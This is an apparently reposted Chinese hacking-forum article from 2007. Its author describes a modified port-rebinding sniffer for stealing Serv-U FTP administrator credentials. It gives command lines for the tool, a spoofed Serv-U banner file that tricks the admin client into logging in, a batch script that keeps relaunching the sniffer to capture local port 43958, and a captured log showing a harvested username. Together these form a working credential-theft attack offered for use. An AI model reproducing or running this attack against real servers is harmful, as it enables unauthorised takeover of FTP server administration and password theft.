本类共有 867 篇文章,今日更新 0

关于s6的su管理密码嗅谈

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2007-5-18 17:37:55 | 浏览: 人次 ]


    老早以前,FlashSky在安全焦点上面一篇Paper中就介绍过利用端口动态重绑定技术Sniffer了。原理很简单,我就不再重复了,有兴趣的可以翻出来看看。  

我这个小工具就是在他给出的代码基础上加以修改的。可以在命令行参数中设定绑定的IP和端口号。  
-z参数:他的作用就是绑定本机的127.0.0.1指定端口,然后截取到通指定IP地址(必须是本机存在的IP)上访问该端口的通信。这也就正好是和那篇Paper中介绍的原理相反。注意:如果指定的IP为127.0.0.1的话,会造成死循环,导致系统崩溃(至少在我的机器上是这样一个效果,哭啊我)  
-zz参数:使用无数据回路的截听工作方式。他的作用是绑定指定IP的指定端口,然后当有通过这个IP访问指定端口的通信时,使用[FileName]参数提供的文件作为回显,如果需要多次回显,文件中使用“-Mix-”作分隔符。  

来看看具体使用:  
The Codz is Based On FlashSky’s , Modified By Mix .  
So It’s Used By My Friends , Please Don’t Spread !  

Parameter Error  
s.exe x xxx.xxx.xxx.xxx xxxxx [FileName] [ x ---> -z || -zz || Other ]  

第一种情况。当主机(192.168.150.2)服务绑定127.0.0.1时:  
s.exe -a 192.168.150.2 21  
就可以嗅探到从192.168.150.2上访问21端口的通信,其中-a不可以换成其他命令  

第二种情况。当主机(192.168.150.2)服务绑定192.168.150.2时:  
s.exe -z 192.168.150.2 21  
就可以嗅探到从127.0.0.1上访问21端口的通信,其实感觉这个没有什么用样的,反正也是个小功能,所以就加上来了  

第三种情况。使用无回路方式进行截听:  
a.当主机服务绑定127.0.0.1时:  
s.exe -zz 127.0.0.1 21 1.txt  
当使用nc -vv 127.0.0.1 21的时候,就会显示1.txt中的“第一次回显数据”,发送一次数据之后,又回显1.txt中的“第二次回显数据”,依次类推。当连接被断开并再次有连接进来的时候,s.exe自动退出,将数据接收权交还给原来的服务。  

b.当主机服务绑定192.168.150.2时:  
s.exe -zz 192.168.150.2 21 1.txt  
当使用nc -vv 192.168.150.2 21的时候,就会显示1.txt中的“第一次回显数据”,发送一次数据之后,又回显1.txt中的“第二次回显数据”,依次类推。当连接被断开并再次有连接进来的时候,s.exe自动退出,将数据接收权交还给原来的服务。  

其中1.txt包含的内容为:  
--------cut here--------  
第一次回显数据  
-Mix-  
第二次回显数据  
-Mix-  
--------cut here--------  
可以根据需要多给几次回显,中间使用“-Mix-”分隔  


测试只成功了第一种和第三种情况,记录下了访问者的所有发送数据,服务器的返回数据不予以记录,记录文件是程序同目录下的log.log。第二种情况还有待调试,呵呵  

其实,如果写成不需要参数,直接将参数内置到程序中去,并用专门的配置程序进行配置这样的也可以,可惜我比较懒!!!呵呵~~~见谅了  

  

---------------------------补于2005.01.10---------------------------  
测试了一下实战,-a参数能够记录serv-u5.0的用户名和密码,但如果客户端主动强制断开连接再连接,会使程序自动退出。  

---------------------------补于2005.01.23---------------------------  
修改了一下第三种情况(使用无回路方式进行截听)的功能,通过指定特殊的返回信息,可以截获到serv-6.0的127.0.0.1:43958端口通信。指定的返回信息设定如下:  
--------cut here--------  
220 Serv-U FTP Server v6.0 for WinSock ready...  
-Mix-  
331 User name okay, need password.  
-Mix-  
230 User logged in, proceed.  
-Mix-  
--------cut here--------  
不过有件比较郁闷的事情是,Serv-U 6.0 在启动ServUAdmin.exe试图连接43958管理端口时,会要求ServUDaemon.exe重新绑定该端口,也就是说首先运行的端口截听程序会在他这个措施的影响下失去作用,所以必须要在启动ServUAdmin.exe时不断的调用端口截听程序,方可保证在其重新绑定端口到连接该端口这个程序进行中的期间内有端口截听程序被运行,使端口截听程序重新获取43958管理端口的管理权。利用我发布的那个无聊的多线程IP端口扫描BAT批处理进行修改后就可以实现,还可以借助pskill等程序的力量保证批处理结果的完美性,我自己已经测试成功了。  

另外修正了一下“如果客户端主动强制断开连接再连接,会使程序自动退出”,使之在客户端强制断开连接的时候程序也随之退出。  


================================ 
没事改了一下 

Set ip=1  
echo ......Strat to Scan......  
:Main  
netstat -an|find /C "%1" >temp.temp  
FOR /F "eol=; tokens=1,3* delims=, " %%i in (temp.temp) do IF /I %%i GEQ %3 del temp.temp&&goto ScanMain  
goto Main  

:ScanMain  
echo %1%ip%:%2  
start "5588" /MIN s -zz 127.0.0.1 43958 d:\1.txt  
Set /A ip=%ip%+1  
if %ip% GEQ 40 goto Exit  
goto ScanMain  
:Exit  
echo ......Scan has OK!......  
set ip=  


使用:  
1.bat 43958 43958 3  
3是netstat -an|find /C "43958"的结果加1  

不过这样只能嗅探程序自动登陆的密码  
如果改密码后会弹出窗口提示  
好像就嗅不到了  
------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

USER LocalAdministrator  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

------Start The Log------  

只有嗅到用户名而已  
批处理的大意就是不断的查看端口数量  
当数量变化时就启动嗅探程序,感觉太占资源。  

有更好方法的贴出来啊 

广告位